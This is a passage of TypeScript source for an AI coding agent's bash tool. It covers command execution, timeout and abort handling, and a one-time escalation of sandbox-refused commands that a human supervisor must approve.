${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\t// The OS boundary refuses a write in the kernel, so by the time this runs\n\t\t\t\t\t// the syscall has already failed and nothing inside this namespace can\n\t\t\t\t\t// widen it. Offering the command to the supervisor is the only remaining\n\t\t\t\t\t// move, and it is the supervisor that shows the human the exact command\n\t\t\t\t\t// and root before anything runs -- so a wrong guess at the path is\n\t\t\t\t\t// refused by someone reading it, never granted quietly.\n\t\t\t\t\tconst escalated = await escalateRefusedCommand(command, outputText);\n\t\t\t\t\tif (escalated) {\n\t\t\t\t\t\t// The reported exit code has to be the escalated run's, not the\n\t\t\t\t\t\t// refused one's. Leaving the original would have the details say the\n\t\t\t\t\t\t// command failed while the content says it succeeded, and anything\n\t\t\t\t\t\t// reading the facts rather than the text would disagree with the\n\t\t\t\t\t\t// model about what happened.\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\tcontent: [{ type: \"text\", text: escalated.text }],\n\t\t\t\t\t\t\tdetails: { ...resultDetails, execution: { ...execution, exitCode: 0 } },\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n\n/**\n * Offer a command the sandbox refused to the supervisor, once.\n *\n * Returns the escalated output when a human approved it and it ran, and undefined for\n * every other outcome -- no channel, no recognisable refusal, no path in the message, a\n * refused prompt -- because the caller's behaviour is the same in all of them: report\n * what originally happened.\n */\nasync function escalateRefusedCommand(command: string, output: string): Promise<{ text: string } | undefined> {\n\tif (!looksLikeSandboxRefusal(output)) return undefined;\n\tconst refusedPath = extractRefusedPath(output);\n\tif (!refusedPath) return undefined;\n\tconst outcome = await requestCommandEscalation({ command, writableRoot: escalationRootFor(refusedPath) });\n\tif (!outcome || outcome.code !== 0) return undefined;\n\tconst combined = [outcome.stdout, outcome.stderr]\n\t\t.filter((part) => part.length > 0)\n\t\t.join(\"\\n\")\n\t\t.trim();\n\t// A silent success still has to say something, or the model reads an empty result as\n\t// the command having had no effect.\n\treturn { text: combined.length > 0 ? combined : \"Command ran with approved escalated access.\" };\n}\n"]}